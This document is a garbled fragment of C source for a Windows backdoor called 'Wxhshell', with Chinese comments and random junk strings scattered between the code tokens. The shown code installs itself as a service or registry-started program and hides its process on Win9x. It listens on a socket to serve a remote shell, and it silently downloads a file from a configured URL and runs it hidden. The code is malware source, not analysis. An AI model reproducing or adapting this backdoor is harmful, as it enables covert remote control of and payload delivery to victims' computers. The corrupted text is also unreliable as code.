Wb*A};wE n
H)6mOYp CloseHandle(hProcess); <cQ)*~hN t5r,3x!E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #0K122oY if(hProcess==NULL) return 0; oyQp"'|N Pr
|u_^ HMODULE hMod; W\JbX<mQ char procName[255]; ]a4rA+NFLB unsigned long cbNeeded; 89*txYmx >w,o|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2!Bjs?K<bv jQ &$5&o CloseHandle(hProcess); SE%B&8ZD m+y5Q&;f if(strstr(procName,"services")) return 1; // 以服务启动 K`|%-k+D huj 6Ysr return 0; // 注册表启动 "~
1:7{k } #r\,oXTm vrr&Ve // 主模块 A4Dj4n 0 int StartWxhshell(LPSTR lpCmdLine) Gqe?CM { 11%<bmJ]Q3 SOCKET wsl; g_<^kg" BOOL val=TRUE; X,m6#vLK2 int port=0; Y?cdm}:Ou struct sockaddr_in door; eko$c,&jY -6wjc rTD if(wscfg.ws_autoins) Install(); &L&6y()G nVkPYeeT port=atoi(lpCmdLine); J2rw4L 4bV&U= if(port<=0) port=wscfg.ws_port; JmHEYPt0 (/x%zmY;/U WSADATA data; nE$8-*BZ_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u4
##*m TqzL] 'NS+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }$6;g-|HX setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r_8[}|7; door.sin_family = AF_INET; F:p'%#3rU/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); yV;_ ]_EO door.sin_port = htons(port); 60
D0z $yd "bJK if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 74Fv9 closesocket(wsl); N3J T[7 return 1; uB;\nj5'D } !Ee#jCXS *V@>E2@ if(listen(wsl,2) == INVALID_SOCKET) { ]: VR3e"H closesocket(wsl); mMp( return 1; uVnbOqR<X } y5" b(nb Wxhshell(wsl); dD%Sbb WSACleanup(); j2@19YXe@ /Y NV return 0; ;ps0wswX 6N7^`ghTf } Ie12d@ %}T' 3 // 以NT服务方式启动 lB7 V4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -&L(0?*qo { 7w}PYp1Z'~ DWORD status = 0; N0]C?+ DWORD specificError = 0xfffffff; zk\YW'x|r 5somoV B serviceStatus.dwServiceType = SERVICE_WIN32; ,hMdxZJd serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9j[lr${A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dfo_R serviceStatus.dwWin32ExitCode = 0; w(>mP9Cb serviceStatus.dwServiceSpecificExitCode = 0; 33O O%rWi serviceStatus.dwCheckPoint = 0; ]Ut fI serviceStatus.dwWaitHint = 0; /UwB6s( n U0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -SyQ`V)T7N if (hServiceStatusHandle==0) return; i3bDU(GS W3AtO status = GetLastError(); UbWeE,T~S if (status!=NO_ERROR) bSK> p3 { %Z:07|57I[ serviceStatus.dwCurrentState = SERVICE_STOPPED; ?^y!}( serviceStatus.dwCheckPoint = 0; |j?iD serviceStatus.dwWaitHint = 0; M/!5r serviceStatus.dwWin32ExitCode = status; aPR0DZ@ serviceStatus.dwServiceSpecificExitCode = specificError; G54,`uz2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); n@`D:;?{ return; E{):zg } UW!*=?h w+^z{3> serviceStatus.dwCurrentState = SERVICE_RUNNING; WUEjWJA-MB serviceStatus.dwCheckPoint = 0; E~[v.3` serviceStatus.dwWaitHint = 0; M1>2Q[h7 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z8MKGM } u]<7}R@s oRp;9 // 处理NT服务事件,比如:启动、停止 .>/Tc VOID WINAPI NTServiceHandler(DWORD fdwControl) g8+Ke'=_ { ,PmQ}1kGW switch(fdwControl) ")gd)_FOS { EZN38T case SERVICE_CONTROL_STOP: .}xF2'~E/ serviceStatus.dwWin32ExitCode = 0; E%+ aqA)f serviceStatus.dwCurrentState = SERVICE_STOPPED; oU\Q|mN( serviceStatus.dwCheckPoint = 0; >vr!3 serviceStatus.dwWaitHint = 0; S2^Ckg { IY* ~df SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4`KQ@m } W*S!}ZT` return; ;!k{{Xndd case SERVICE_CONTROL_PAUSE: gwm}19JC serviceStatus.dwCurrentState = SERVICE_PAUSED; f:w#r.] break;
!623; case SERVICE_CONTROL_CONTINUE: hny(:Dj serviceStatus.dwCurrentState = SERVICE_RUNNING; Xp_3EQl break; *>=|"ff case SERVICE_CONTROL_INTERROGATE: R)[ l3 break; nQ\)~MKd }; 'N7AVj SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Ud } Qz[4M` M 1vy*u // 标准应用程序主函数 TgDx3U[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /:<.Cn>- { h2Kx RyAss0Sm^ // 获取操作系统版本 K6 {0`'x OsIsNt=GetOsVer(); y4^w8'%MC GetModuleFileName(NULL,ExeFile,MAX_PATH); | e&v;48 =Wgz\uGJ // 从命令行安装 31FQ=(K if(strpbrk(lpCmdLine,"iI")) Install(); .q!U@}k. AV t(e6H // 下载执行文件 ! u4'1jd[d if(wscfg.ws_downexe) { Vk3xWD~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "Z\^dR WinExec(wscfg.ws_filenam,SW_HIDE); CO)BF%?B } L\`uD[g XBTtfl
& if(!OsIsNt) { {H\(H_X // 如果时win9x,隐藏进程并且设置为注册表启动 gG>|5R0 HideProc(); hwon^? StartWxhshell(lpCmdLine); Msk^H7 } >3{l"SPU else NHL -ll-R if(StartFromService()) 96 ozt UK // 以服务方式启动 dx<KZR$!V StartServiceCtrlDispatcher(DispatchTable); ME9jN{ le else _ +"V5z // 普通方式启动 qaj~q(j~C StartWxhshell(lpCmdLine); ]jkaOj t7(#Cuv- return 0; dHAI4Yf4U }
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